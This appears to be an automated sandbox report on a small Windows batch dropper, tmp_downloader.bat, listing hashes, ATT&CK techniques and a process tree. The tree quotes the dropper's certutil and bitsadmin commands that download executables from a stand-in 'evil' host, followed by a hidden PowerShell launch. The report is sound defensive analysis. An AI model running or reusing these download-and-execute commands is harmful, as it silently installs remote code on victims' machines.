262f001ebc264ea9f90b90f9abcfdbfa5781811e01cf7ca74f95a92238a857fe

Analysis

max time kernel
148s
max time network
122s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/06/2026, 04:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmp_downloader.bat
Size 164B
Sample260622-e97r2sgz4p
SHA256 262f001ebc264ea9f90b90f9abcfdbfa5781811e01cf7ca74f95a92238a857fe
MD5 7bebc76359e50b4e24cffbce895dd4a2
SHA1 43ba339a94021e6c86db74de180d15b64e97923c
SHA512 ed5e4f31392ab8d3628a286d8e922114215b7bde144066004f7ace0e0b596882801c3d6072ba4f4b2f1f10d935bc556f903460ca4647c9b5fae7d9f3a390647f
TLSH
T129C08CEA98CF0AE8CB45EB017DFD2406A50FC0CA22714828AE0354207A8405BAE2618B
MD5 SHA1 SHA512 TLSH

Score

8^/10

dropper execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5492	powershell.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1072	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5492	powershell.exe
5492	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5492	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 6044	1832	cmd.exe	89
PID 1832 wrote to memory of 1072	1832	cmd.exe	90
PID 1832 wrote to memory of 2052	1832	cmd.exe	93
PID 2052 wrote to memory of 5492	2052	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tmp_downloader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -f http://evil/p.exe p.exe
  2⤵
  PID:6044
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer j http://evil/p2.exe p2.exe
  2⤵
  - Download via BitsAdmin
  PID:1072
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -w hidden start-process p.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden start-process p.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/5492-3-0x00000238470B0000-0x00000238470D2000-memory.dmp

Download

memory/5492-6-0x0000023847140000-0x000002384715E000-memory.dmp

Download

memory/5492-7-0x00000238473A0000-0x0000023847452000-memory.dmp

Download

memory/5492-8-0x0000023847160000-0x000002384716A000-memory.dmp

Download

memory/5492-9-0x00000238475B0000-0x00000238475CE000-memory.dmp

Download

memory/5492-10-0x0000023847170000-0x000002384717A000-memory.dmp

Download

memory/5492-11-0x00000238475F0000-0x000002384760C000-memory.dmp

Download

memory/5492-12-0x0000023847180000-0x0000023847188000-memory.dmp

Download

memory/5492-13-0x00000238475D0000-0x00000238475D6000-memory.dmp

Download

memory/5492-14-0x00000238475E0000-0x00000238475EA000-memory.dmp

Download